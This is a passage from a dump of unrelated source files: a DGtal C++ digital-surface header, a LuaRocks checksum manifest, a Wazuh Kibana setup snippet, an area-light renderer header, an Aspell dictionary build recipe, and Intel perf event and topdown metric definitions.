arc does not lie on the boundary).\n @note O(1) operation\n */\n bool isArcBoundary( const Arc& v ) const;\n\n /**\n @return the range of all faces of the indexed digital surface,\n i.e. an array containing 0, 1, 2, ..., nbFaces()-1.\n */\n FaceRange allFaces() const;\n /**\n @return the range of all arcs of the indexed digital surface,\n i.e. an array containing 0, 1, 2, ..., nbArcs()-1.\n */\n ArcRange allArcs() const;\n /**\n @return the range of all vertices of the indexed digital surface,\n i.e. an array containing 0, 1, 2, ..., nbVertices()-1.\n */\n VertexRange allVertices() const;\n\n /**\n This set of arcs is sufficient for displaying the boundary of\n the surface.\n\n @return the array of all arcs (oriented edges) lying on the\n boundary of the surface (in no particular order).\n */\n ArcRange allBoundaryArcs() const;\n\n /**\n This set of arcs is sufficient for displaying the boundary of\n the surface.\n\n @return the array of vertices lying on the boundary of the\n surface (in no particular order).\n */\n VertexRange allBoundaryVertices() const;\n\n // ----------------------- Interface --------------------------------------\n public:\n\n /**\n * Writes/Displays the object on an output stream.\n * @param out the output stream where the object is written.\n */\n void selfDisplay ( std::ostream & out ) const;\n\n /**\n * Checks the validity/consistency of the object.\n * @return 'true' if the object is valid, 'false' otherwise.\n */\n bool isValid() const;\n\n // ------------------------- Protected Datas ------------------------------\n protected:\n /// Indicates if the half-edge structure has been created/updated.\n bool isHEDSValid;\n /// The half-edge data structure that stores the topology of the mesh\n HalfEdgeDataStructure myHEDS;\n /// The (secured or not) pointer to the associated digital surface container.\n CountedConstPtrOrConstPtr< DigitalSurfaceContainer > myContainer;\n\n /// Stores the information for each Vertex.\n PositionsStorage myPositions;\n /// Stores the polygonal faces.\n PolygonalFacesStorage myPolygonalFaces;\n /// Mapping Surfel -> VertexIndex\n std::map< SCell, VertexIndex > mySurfel2VertexIndex;\n /// Mapping Linel -> Arc\n std::map< SCell, Arc > myLinel2Arc;\n /// Mapping Pointel -> FaceIndex\n std::map< SCell, FaceIndex > myPointel2FaceIndex;\n /// Mapping VertexIndex -> Surfel\n SCellStorage myVertexIndex2Surfel;\n /// Mapping Arc -> Linel\n SCellStorage myArc2Linel;\n /// Mapping FaceIndex -> Pointel\n SCellStorage myFaceIndex2Pointel;\n\n \n // ------------------------- Private Datas --------------------------------\n private:\n\n // ------------------------- Hidden services ------------------------------\n protected:\n\n private:\n\n // ------------------------- Internals ------------------------------------\n private:\n\n }; // end of class IndexedDigitalSurface\n\n\n /**\n * Overloads 'operator<<' for displaying objects of class 'IndexedDigitalSurface'.\n * @param out the output stream where the object is written.\n * @param object the object of class 'IndexedDigitalSurface' to write.\n * @return the output stream after the writing.\n */\n template \n std::ostream&\n operator<< ( std::ostream & out,\n\t const IndexedDigitalSurface & object );\n\n} // namespace DGtal\n\n\n///////////////////////////////////////////////////////////////////////////////\n// Includes inline functions.\n#include \"DGtal/topology/IndexedDigitalSurface.ih\"\n\n// //\n///////////////////////////////////////////////////////////////////////////////\n\n#endif // !defined IndexedDigitalSurface_h\n\n#undef IndexedDigitalSurface_RECURSES\n#endif // else defined(IndexedDigitalSurface_RECURSES)\n"} +{"text": "# computed by luarocks/buildroot\nsha256 502faabc5e06c1d7c1ddb9a0550eb19220020c86b9f1e26a2cc2001e1343b35d luasql-sqlite3-2.4.0-1.src.rock\nsha256 c8bb3a3947379addb89412e578d0aae95ca37dc6e48a17e128f40e512d10b025 luasql/doc/us/license.html\n"} +{"text": "import { uiModules } from 'ui/modules';\nimport {\n setAngularModule,\n setServices\n} from '../../../src/plugins/discover/public/kibana_services';\nimport { npStart } from 'ui/new_platform';\nimport { buildServices } from '../../../src/plugins/discover/public/build_services';\n\n// Set up Wazuh app\nconst app = uiModules.get('app/wazuh', ['ngCookies', 'ngMaterial', 'chart.js']);\nsetAngularModule(app);\n\n// Set up services needed for discover\nconst services = buildServices(\n npStart.core,\n npStart.plugins,\n { env: { packageInfo: { branch: \"7.9\" } } }\n);\nsetServices(services);\n"} +{"text": "[\n {\n \"BriefDescription\": \"read requests to memory controller. Derived from unc_m_cas_count.rd\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x4\",\n \"EventName\": \"LLC_MISSES.MEM_READ\",\n \"PerPkg\": \"1\",\n \"ScaleUnit\": \"64Bytes\",\n \"UMask\": \"0x3\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"write requests to memory controller. Derived from unc_m_cas_count.wr\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x4\",\n \"EventName\": \"LLC_MISSES.MEM_WRITE\",\n \"PerPkg\": \"1\",\n \"ScaleUnit\": \"64Bytes\",\n \"UMask\": \"0xC\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"Memory controller clock ticks\",\n \"Counter\": \"0,1,2,3\",\n \"EventName\": \"UNC_M_CLOCKTICKS\",\n \"PerPkg\": \"1\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"Cycles where DRAM ranks are in power down (CKE) mode\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x85\",\n \"EventName\": \"UNC_M_POWER_CHANNEL_PPD\",\n \"MetricExpr\": \"(UNC_M_POWER_CHANNEL_PPD / UNC_M_CLOCKTICKS) * 100.\",\n \"MetricName\": \"power_channel_ppd %\",\n \"PerPkg\": \"1\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"Cycles all ranks are in critical thermal throttle\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x86\",\n \"EventName\": \"UNC_M_POWER_CRITICAL_THROTTLE_CYCLES\",\n \"MetricExpr\": \"(UNC_M_POWER_CRITICAL_THROTTLE_CYCLES / UNC_M_CLOCKTICKS) * 100.\",\n \"MetricName\": \"power_critical_throttle_cycles %\",\n \"PerPkg\": \"1\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"Cycles Memory is in self refresh power mode\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x43\",\n \"EventName\": \"UNC_M_POWER_SELF_REFRESH\",\n \"MetricExpr\": \"(UNC_M_POWER_SELF_REFRESH / UNC_M_CLOCKTICKS) * 100.\",\n \"MetricName\": \"power_self_refresh %\",\n \"PerPkg\": \"1\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"Pre-charges due to page misses\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x2\",\n \"EventName\": \"UNC_M_PRE_COUNT.PAGE_MISS\",\n \"PerPkg\": \"1\",\n \"UMask\": \"0x1\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"Pre-charge for reads\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x2\",\n \"EventName\": \"UNC_M_PRE_COUNT.RD\",\n \"PerPkg\": \"1\",\n \"UMask\": \"0x4\",\n \"Unit\": \"iMC\"\n },\n {\n \"BriefDescription\": \"Pre-charge for writes\",\n \"Counter\": \"0,1,2,3\",\n \"EventCode\": \"0x2\",\n \"EventName\": \"UNC_M_PRE_COUNT.WR\",\n \"PerPkg\": \"1\",\n \"UMask\": \"0x8\",\n \"Unit\": \"iMC\"\n }\n]\n"} +{"text": "#pragma once\n\n#include \n#include \n\nnamespace Ubpa {\n\t// 朝上\n\tclass AreaLight : public Light {\n\tpublic:\n\t\tAreaLight(const rgbf& color = rgbf(1.f), float intensity = 1.f, float width = 1.f, float height = 1.f)\n\t\t\t: color(color), intensity(intensity), width(width), height(height) { }\n\n\tpublic:\n\t\tstatic const Ptr New(const rgbf& color = rgbf(1.f), float intensity = 1.f, float width = 1.f, float height = 1.f) {\n\t\t\treturn Ubpa::New(color, intensity, width, height);\n\t\t}\n\n\tpublic:\n\t\tfloat Area() const { return width * height; }\n\t\tconst rgbf LuminancePower() const { return intensity * color; }\n\t\tconst rgbf Luminance() const { return LuminancePower() / (Area() * PI); }\n\n\tpublic:\n\t\t// 采样 L 函数\n\t\t// !!! p,wi 处于光源的坐标空间中\n\t\t// @arg0 in,以 p 点来计算 distToLight 和 PD\n\t\t// @arg1 out,wi 指向光源,为单位向量\n\t\t// @arg2 out,p 点到光源采样点的距离\n\t\t// @arg3 out,概率密度 probability density\n\t\tvirtual const rgbf Sample_L(const pointf3& p, normalf& wi, float& distToLight, float& PD) const override;\n\n\t\t// 概率密度函数\n\t\t// !!! p,wi 处于灯的坐标空间中\n\t\tvirtual float PDF(const pointf3& p, const normalf& wi) const override;\n\n\t\tvirtual bool IsDelta() const override { return false; }\n\n\tpublic:\n\t\trgbf color;\n\t\tfloat intensity;\n\t\tfloat width;\n\t\tfloat height;\n\n\tprivate:\n\t\t// dirToLight 不必是 单位向量\n\t\tbool Hit(const pointf3& p, const vecf3& dirToLight, pointf3& hitPos) const;\n\n\t\tUniformGridSampler2D sampler;\n\t};\n}\n"} +{"text": "# Description: English dictionary for Aspell\n# URL: http://aspell.net/\n# Maintainer: protonesso, nagakamira at gmail dot com\n# Depends on: aspell\n# Section: office\n\nname=aspell-en\nversion=2019.10.06\nrelease=2\nsource=(\"https://ftp.gnu.org/gnu/aspell/dict/en/aspell6-en-$version-0.tar.bz2\")\n\nbuild() {\n\tcd \"$SRC\"/aspell6-en-$version-0\n\t./configure\n\tmake\n\tmake DESTDIR=\"$PKG\" install\n}\n"} +{"text": "[\n {\n \"MetricExpr\": \"IDQ_UOPS_NOT_DELIVERED.CORE / (4 * cycles)\",\n \"PublicDescription\": \"This category represents fraction of slots where the processor's Frontend undersupplies its Backend. Frontend denotes the first part of the processor core responsible to fetch operations that are executed later on by the Backend part. Within the Frontend; a branch predictor predicts the next address to fetch; cache-lines are fetched from the memory subsystem; parsed into instructions; and lastly decoded into micro-ops (uops). Ideally the Frontend can issue 4 uops every cycle to the Backend. Frontend Bound denotes unutilized issue-slots when there is no Backend stall; i.e. bubbles where Frontend delivered no uops while Backend could have accepted them. For example; stalls due to instruction-cache misses would be categorized under Frontend Bound.\",\n \"BriefDescription\": \"This category represents fraction of slots where the processor's Frontend undersupplies its Backend\",\n \"MetricGroup\": \"TopdownL1\",\n \"MetricName\": \"Frontend_Bound\"\n },\n {\n \"MetricExpr\": \"IDQ_UOPS_NOT_DELIVERED.CORE / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))\",\n \"PublicDescription\": \"This category represents fraction of slots where the processor's Frontend undersupplies its Backend. Frontend denotes the first part of the processor core responsible to fetch operations that are executed later on by the Backend part. Within the Frontend; a branch predictor predicts the next address to fetch; cache-lines are fetched from the memory subsystem; parsed into instructions; and lastly decoded into micro-ops (uops). Ideally the Frontend can issue 4 uops every cycle to the Backend. Frontend Bound denotes unutilized issue-slots when there is no Backend stall; i.e. bubbles where Frontend delivered no uops while Backend could have accepted them. For example; stalls due to instruction-cache misses would be categorized under Frontend Bound. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"BriefDescription\": \"This category represents fraction of slots where the processor's Frontend undersupplies its Backend. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"MetricGroup\": \"TopdownL1_SMT\",\n \"MetricName\": \"Frontend_Bound_SMT\"\n },\n {\n \"MetricExpr\": \"( UOPS_ISSUED.ANY - UOPS_RETIRED.RETIRE_SLOTS + 4 * INT_MISC.RECOVERY_CYCLES ) / (4 * cycles)\",\n \"PublicDescription\": \"This category represents fraction of slots wasted due to incorrect speculations. This include slots used to issue uops that do not eventually get retired and slots for which the issue-pipeline was blocked due to recovery from earlier incorrect speculation. For example; wasted work due to miss-predicted branches are categorized under Bad Speculation category. Incorrect data speculation followed by Memory Ordering Nukes is another example.\",\n \"BriefDescription\": \"This category represents fraction of slots wasted due to incorrect speculations\",\n \"MetricGroup\": \"TopdownL1\",\n \"MetricName\": \"Bad_Speculation\"\n },\n {\n \"MetricExpr\": \"( UOPS_ISSUED.ANY - UOPS_RETIRED.RETIRE_SLOTS + 4 * (( INT_MISC.RECOVERY_CYCLES_ANY / 2 )) ) / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))\",\n \"PublicDescription\": \"This category represents fraction of slots wasted due to incorrect speculations. This include slots used to issue uops that do not eventually get retired and slots for which the issue-pipeline was blocked due to recovery from earlier incorrect speculation. For example; wasted work due to miss-predicted branches are categorized under Bad Speculation category. Incorrect data speculation followed by Memory Ordering Nukes is another example. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"BriefDescription\": \"This category represents fraction of slots wasted due to incorrect speculations. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"MetricGroup\": \"TopdownL1_SMT\",\n \"MetricName\": \"Bad_Speculation_SMT\"\n },\n {\n \"MetricExpr\": \"1 - ( (IDQ_UOPS_NOT_DELIVERED.CORE / (4 * cycles)) + (( UOPS_ISSUED.ANY - UOPS_RETIRED.RETIRE_SLOTS + 4 * INT_MISC.RECOVERY_CYCLES ) / (4 * cycles)) + (UOPS_RETIRED.RETIRE_SLOTS / (4 * cycles)) )\",\n \"PublicDescription\": \"This category represents fraction of slots where no uops are being delivered due to a lack of required resources for accepting new uops in the Backend. Backend is the portion of the processor core where the out-of-order scheduler dispatches ready uops into their respective execution units; and once completed these uops get retired according to program order. For example; stalls due to data-cache misses or stalls due to the divider unit being overloaded are both categorized under Backend Bound. Backend Bound is further divided into two main categories: Memory Bound and Core Bound.\",\n \"BriefDescription\": \"This category represents fraction of slots where no uops are being delivered due to a lack of required resources for accepting new uops in the Backend\",\n \"MetricGroup\": \"TopdownL1\",\n \"MetricName\": \"Backend_Bound\"\n },\n {\n \"MetricExpr\": \"1 - ( (IDQ_UOPS_NOT_DELIVERED.CORE / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))) + (( UOPS_ISSUED.ANY - UOPS_RETIRED.RETIRE_SLOTS + 4 * (( INT_MISC.RECOVERY_CYCLES_ANY / 2 )) ) / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))) + (UOPS_RETIRED.RETIRE_SLOTS / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))) )\",\n \"PublicDescription\": \"This category represents fraction of slots where no uops are being delivered due to a lack of required resources for accepting new uops in the Backend. Backend is the portion of the processor core where the out-of-order scheduler dispatches ready uops into their respective execution units; and once completed these uops get retired according to program order. For example; stalls due to data-cache misses or stalls due to the divider unit being overloaded are both categorized under Backend Bound. Backend Bound is further divided into two main categories: Memory Bound and Core Bound. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"BriefDescription\": \"This category represents fraction of slots where no uops are being delivered due to a lack of required resources for accepting new uops in the Backend. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"MetricGroup\": \"TopdownL1_SMT\",\n \"MetricName\": \"Backend_Bound_SMT\"\n },\n {\n \"MetricExpr\": \"UOPS_RETIRED.RETIRE_SLOTS / (4 * cycles)\",\n \"PublicDescription\": \"This category represents fraction of slots utilized by useful work i.e. issued uops that eventually get retired. Ideally; all pipeline slots would be attributed to the Retiring category. Retiring of 100% would indicate the maximum 4 uops retired per cycle has been achieved. Maximizing Retiring typically increases the Instruction-Per-Cycle metric. Note that a high Retiring value does not necessary mean there is no room for more performance. For example; Microcode assists are categorized under Retiring. They hurt performance and can often be avoided. \",\n \"BriefDescription\": \"This category represents fraction of slots utilized by useful work i.e. issued uops that eventually get retired\",\n \"MetricGroup\": \"TopdownL1\",\n \"MetricName\": \"Retiring\"\n },\n {\n \"MetricExpr\": \"UOPS_RETIRED.RETIRE_SLOTS / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))\",\n \"PublicDescription\": \"This category represents fraction of slots utilized by useful work i.e. issued uops that eventually get retired. Ideally; all pipeline slots would be attributed to the Retiring category. Retiring of 100% would indicate the maximum 4 uops retired per cycle has been achieved. Maximizing Retiring typically increases the Instruction-Per-Cycle metric. Note that a high Retiring value does not necessary mean there is no room for more performance. For example; Microcode assists are categorized under Retiring. They hurt performance and can often be avoided. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"BriefDescription\": \"This category represents fraction of slots utilized by useful work i.e. issued uops that eventually get retired. SMT version; use when SMT is enabled and measuring per logical CPU.\",\n \"MetricGroup\": \"TopdownL1_SMT\",\n \"MetricName\": \"Retiring_SMT\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / CPU_CLK_UNHALTED.THREAD\",\n \"BriefDescription\": \"Instructions Per Cycle (per logical thread)\",\n \"MetricGroup\": \"TopDownL1\",\n \"MetricName\": \"IPC\"\n },\n {\n \"MetricExpr\": \"UOPS_RETIRED.RETIRE_SLOTS / INST_RETIRED.ANY\",\n \"BriefDescription\": \"Uops Per Instruction\",\n \"MetricGroup\": \"Pipeline;Retiring\",\n \"MetricName\": \"UPI\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / BR_INST_RETIRED.NEAR_TAKEN\",\n \"BriefDescription\": \"Instruction per taken branch\",\n \"MetricGroup\": \"Branches;PGO\",\n \"MetricName\": \"IpTB\"\n },\n {\n \"MetricExpr\": \"BR_INST_RETIRED.ALL_BRANCHES / BR_INST_RETIRED.NEAR_TAKEN\",\n \"BriefDescription\": \"Branch instructions per taken branch. \",\n \"MetricGroup\": \"Branches;PGO\",\n \"MetricName\": \"BpTB\"\n },\n {\n \"MetricExpr\": \"min( 1 , IDQ.MITE_UOPS / ( (UOPS_RETIRED.RETIRE_SLOTS / INST_RETIRED.ANY) * 16 * ( ICACHE.HIT + ICACHE.MISSES ) / 4.0 ) )\",\n \"BriefDescription\": \"Rough Estimation of fraction of fetched lines bytes that were likely (includes speculatively fetches) consumed by program instructions\",\n \"MetricGroup\": \"PGO\",\n \"MetricName\": \"IFetch_Line_Utilization\"\n },\n {\n \"MetricExpr\": \"IDQ.DSB_UOPS / (( IDQ.DSB_UOPS + LSD.UOPS + IDQ.MITE_UOPS + IDQ.MS_UOPS ) )\",\n \"BriefDescription\": \"Fraction of Uops delivered by the DSB (aka Decoded ICache; or Uop Cache)\",\n \"MetricGroup\": \"DSB;Frontend_Bandwidth\",\n \"MetricName\": \"DSB_Coverage\"\n },\n {\n \"MetricExpr\": \"1 / (INST_RETIRED.ANY / cycles)\",\n \"BriefDescription\": \"Cycles Per Instruction (threaded)\",\n \"MetricGroup\": \"Pipeline;Summary\",\n \"MetricName\": \"CPI\"\n },\n {\n \"MetricExpr\": \"CPU_CLK_UNHALTED.THREAD\",\n \"BriefDescription\": \"Per-thread actual clocks when the logical processor is active.\",\n \"MetricGroup\": \"Summary\",\n \"MetricName\": \"CLKS\"\n },\n {\n \"MetricExpr\": \"4 * cycles\",\n \"BriefDescription\": \"Total issue-pipeline slots (per core)\",\n \"MetricGroup\": \"TopDownL1\",\n \"MetricName\": \"SLOTS\"\n },\n {\n \"MetricExpr\": \"4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) ))\",\n \"BriefDescription\": \"Total issue-pipeline slots (per core)\",\n \"MetricGroup\": \"TopDownL1_SMT\",\n \"MetricName\": \"SLOTS_SMT\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / MEM_UOPS_RETIRED.ALL_LOADS\",\n \"BriefDescription\": \"Instructions per Load (lower number means loads are more frequent)\",\n \"MetricGroup\": \"Instruction_Type;L1_Bound\",\n \"MetricName\": \"IpL\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / MEM_UOPS_RETIRED.ALL_STORES\",\n \"BriefDescription\": \"Instructions per Store\",\n \"MetricGroup\": \"Instruction_Type;Store_Bound\",\n \"MetricName\": \"IpS\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / BR_INST_RETIRED.ALL_BRANCHES\",\n \"BriefDescription\": \"Instructions per Branch\",\n \"MetricGroup\": \"Branches;Instruction_Type;Port_5;Port_6\",\n \"MetricName\": \"IpB\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / BR_INST_RETIRED.NEAR_CALL\",\n \"BriefDescription\": \"Instruction per (near) call\",\n \"MetricGroup\": \"Branches\",\n \"MetricName\": \"IpCall\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY\",\n \"BriefDescription\": \"Total number of retired Instructions\",\n \"MetricGroup\": \"Summary\",\n \"MetricName\": \"Instructions\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / cycles\",\n \"BriefDescription\": \"Instructions Per Cycle (per physical core)\",\n \"MetricGroup\": \"SMT\",\n \"MetricName\": \"CoreIPC\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) ))\",\n \"BriefDescription\": \"Instructions Per Cycle (per physical core)\",\n \"MetricGroup\": \"SMT\",\n \"MetricName\": \"CoreIPC_SMT\"\n },\n {\n \"MetricExpr\": \"(( 1 * ( FP_ARITH_INST_RETIRED.SCALAR_SINGLE + FP_ARITH_INST_RETIRED.SCALAR_DOUBLE ) + 2 * FP_ARITH_INST_RETIRED.128B_PACKED_DOUBLE + 4 * ( FP_ARITH_INST_RETIRED.128B_PACKED_SINGLE + FP_ARITH_INST_RETIRED.256B_PACKED_DOUBLE ) + 8 * FP_ARITH_INST_RETIRED.256B_PACKED_SINGLE )) / cycles\",\n \"BriefDescription\": \"Floating Point Operations Per Cycle\",\n \"MetricGroup\": \"FLOPS\",\n \"MetricName\": \"FLOPc\"\n },\n {\n \"MetricExpr\": \"(( 1 * ( FP_ARITH_INST_RETIRED.SCALAR_SINGLE + FP_ARITH_INST_RETIRED.SCALAR_DOUBLE ) + 2 * FP_ARITH_INST_RETIRED.128B_PACKED_DOUBLE + 4 * ( FP_ARITH_INST_RETIRED.128B_PACKED_SINGLE + FP_ARITH_INST_RETIRED.256B_PACKED_DOUBLE ) + 8 * FP_ARITH_INST_RETIRED.256B_PACKED_SINGLE )) / (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) ))\",\n \"BriefDescription\": \"Floating Point Operations Per Cycle\",\n \"MetricGroup\": \"FLOPS_SMT\",\n \"MetricName\": \"FLOPc_SMT\"\n },\n {\n \"MetricExpr\": \"UOPS_EXECUTED.THREAD / (( cpu@UOPS_EXECUTED.CORE\\\\,cmask\\\\=1@ / 2 ) if #SMT_on else UOPS_EXECUTED.CYCLES_GE_1_UOP_EXEC)\",\n \"BriefDescription\": \"Instruction-Level-Parallelism (average number of uops executed when there is at least 1 uop executed)\",\n \"MetricGroup\": \"Pipeline;Ports_Utilization\",\n \"MetricName\": \"ILP\"\n },\n {\n \"MetricExpr\": \"( ((BR_MISP_RETIRED.ALL_BRANCHES / ( BR_MISP_RETIRED.ALL_BRANCHES + MACHINE_CLEARS.COUNT )) * (( UOPS_ISSUED.ANY - UOPS_RETIRED.RETIRE_SLOTS + 4 * INT_MISC.RECOVERY_CYCLES ) / (4 * cycles))) + (4 * IDQ_UOPS_NOT_DELIVERED.CYCLES_0_UOPS_DELIV.CORE / (4 * cycles)) * (12 * ( BR_MISP_RETIRED.ALL_BRANCHES + MACHINE_CLEARS.COUNT + BACLEARS.ANY ) / cycles) / (4 * IDQ_UOPS_NOT_DELIVERED.CYCLES_0_UOPS_DELIV.CORE / (4 * cycles)) ) * (4 * cycles) / BR_MISP_RETIRED.ALL_BRANCHES\",\n \"BriefDescription\": \"Branch Misprediction Cost: Fraction of TopDown slots wasted per branch misprediction (jeclear and baclear)\",\n \"MetricGroup\": \"Branch_Mispredicts\",\n \"MetricName\": \"Branch_Misprediction_Cost\"\n },\n {\n \"MetricExpr\": \"( ((BR_MISP_RETIRED.ALL_BRANCHES / ( BR_MISP_RETIRED.ALL_BRANCHES + MACHINE_CLEARS.COUNT )) * (( UOPS_ISSUED.ANY - UOPS_RETIRED.RETIRE_SLOTS + 4 * (( INT_MISC.RECOVERY_CYCLES_ANY / 2 )) ) / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) ))))) + (4 * IDQ_UOPS_NOT_DELIVERED.CYCLES_0_UOPS_DELIV.CORE / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))) * (12 * ( BR_MISP_RETIRED.ALL_BRANCHES + MACHINE_CLEARS.COUNT + BACLEARS.ANY ) / cycles) / (4 * IDQ_UOPS_NOT_DELIVERED.CYCLES_0_UOPS_DELIV.CORE / (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )))) ) * (4 * (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) ))) / BR_MISP_RETIRED.ALL_BRANCHES\",\n \"BriefDescription\": \"Branch Misprediction Cost: Fraction of TopDown slots wasted per branch misprediction (jeclear and baclear)\",\n \"MetricGroup\": \"Branch_Mispredicts_SMT\",\n \"MetricName\": \"Branch_Misprediction_Cost_SMT\"\n },\n {\n \"MetricExpr\": \"INST_RETIRED.ANY / BR_MISP_RETIRED.ALL_BRANCHES\",\n \"BriefDescription\": \"Number of Instructions per non-speculative Branch Misprediction (JEClear)\",\n \"MetricGroup\": \"Branch_Mispredicts\",\n \"MetricName\": \"IpMispredict\"\n },\n {\n \"MetricExpr\": \"( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) )\",\n \"BriefDescription\": \"Core actual clocks when any thread is active on the physical core\",\n \"MetricGroup\": \"SMT\",\n \"MetricName\": \"CORE_CLKS\"\n },\n {\n \"MetricExpr\": \"L1D_PEND_MISS.PENDING / ( MEM_LOAD_UOPS_RETIRED.L1_MISS + mem_load_uops_retired.hit_lfb )\",\n \"BriefDescription\": \"Actual Average Latency for L1 data-cache miss demand loads (in core cycles)\",\n \"MetricGroup\": \"Memory_Bound;Memory_Lat\",\n \"MetricName\": \"Load_Miss_Real_Latency\"\n },\n {\n \"MetricExpr\": \"L1D_PEND_MISS.PENDING / L1D_PEND_MISS.PENDING_CYCLES\",\n \"BriefDescription\": \"Memory-Level-Parallelism (average number of L1 miss demand load when there is at least one such miss. Per-thread)\",\n \"MetricGroup\": \"Memory_Bound;Memory_BW\",\n \"MetricName\": \"MLP\"\n },\n {\n \"MetricExpr\": \"( cpu@ITLB_MISSES.WALK_DURATION\\\\,cmask\\\\=1@ + cpu@DTLB_LOAD_MISSES.WALK_DURATION\\\\,cmask\\\\=1@ + cpu@DTLB_STORE_MISSES.WALK_DURATION\\\\,cmask\\\\=1@ + 7 * ( DTLB_STORE_MISSES.WALK_COMPLETED + DTLB_LOAD_MISSES.WALK_COMPLETED + ITLB_MISSES.WALK_COMPLETED ) ) / cycles\",\n \"BriefDescription\": \"Utilization of the core's Page Walker(s) serving STLB misses triggered by instruction/Load/Store accesses\",\n \"MetricGroup\": \"TLB\",\n \"MetricName\": \"Page_Walks_Utilization\"\n },\n {\n \"MetricExpr\": \"( cpu@ITLB_MISSES.WALK_DURATION\\\\,cmask\\\\=1@ + cpu@DTLB_LOAD_MISSES.WALK_DURATION\\\\,cmask\\\\=1@ + cpu@DTLB_STORE_MISSES.WALK_DURATION\\\\,cmask\\\\=1@ + 7 * ( DTLB_STORE_MISSES.WALK_COMPLETED + DTLB_LOAD_MISSES.WALK_COMPLETED + ITLB_MISSES.WALK_COMPLETED ) ) / (( ( CPU_CLK_UNHALTED.THREAD / 2 ) * ( 1 + CPU_CLK_UNHALTED.ONE_THREAD_ACTIVE / CPU_CLK_UNHALTED.REF_XCLK ) ))\",\n \"BriefDescription\": \"Utilization of the core's Page Walker(s) serving STLB misses triggered by instruction/Load/Store accesses\",\n \"MetricGroup\": \"TLB_SMT\",\n \"MetricName\": \"Page_Walks_Utilization_SMT\"\n },\n {\n \"MetricExpr\": \"64 * L1D.REPLACEMENT / 1000000000 / duration_time\",\n \"BriefDescription\": \"Average data fill bandwidth to the L1 data cache [GB / sec]\",\n \"MetricGroup\": \"Memory_BW\",\n \"MetricName\": \"L1D_Cache_Fill_BW\"\n },\n {\n \"MetricExpr\": \"64 * L2_LINES_IN.ALL / 1000000000 / duration_time\",\n \"BriefDescription\": \"Average data fill bandwidth to the L2 cache [GB / sec]\",\n \"MetricGroup\": \"Memory_BW\",\n \"MetricName\": \"L2_Cache_Fill_BW\"\n },\n {\n \"MetricExpr\": \"64 * LONGEST_LAT_CACHE.MISS / 1000000000 / duration_time\",\n \"BriefDescription\": 